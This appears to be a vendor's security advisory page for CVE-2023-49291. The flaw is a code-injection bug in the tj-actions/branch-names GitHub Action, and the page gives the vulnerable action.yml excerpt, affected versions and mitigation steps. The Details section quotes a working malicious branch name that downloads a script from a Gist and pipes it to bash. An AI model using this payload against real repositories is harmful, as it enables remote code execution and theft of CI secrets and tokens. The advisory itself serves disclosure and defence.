CVE-2023-49291 is a critical-severity (CVSS 9.3) Improper Input Validation vulnerability in tj-actions/branch-names. 2 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for tj-actions/branch-names — see the affected versions and patch details below.
Improper Sanitization of Branch Name Leads to Arbitrary Code Injection
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
tj-actions/branch-namesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects GitHub Actions packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The tj-actions/branch-names GitHub Actions references the github.event.pull_request.head.ref and github.head_ref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.
Details
The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.
runs:
using: "composite"
steps:
- id: branch
run: |
# "Set branch names..."
if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
REF=$(printf "%q" "${{ github.ref }}")
An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.
Impact
An attacker can use this vulnerability to steal secrets from or abuse GITHUB_TOKEN permissions.
Reference
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦GitHub Actions | tj-actions/branch-names | all versions | 7.0.7 |
Affected Products
branch-namestj-actionsResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tj-actions/branch-names, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tj-actions/branch-names to 7.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-49291 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2023-49291 in your dependencies?
Find it across GitHub Actions, including transitive dependencies.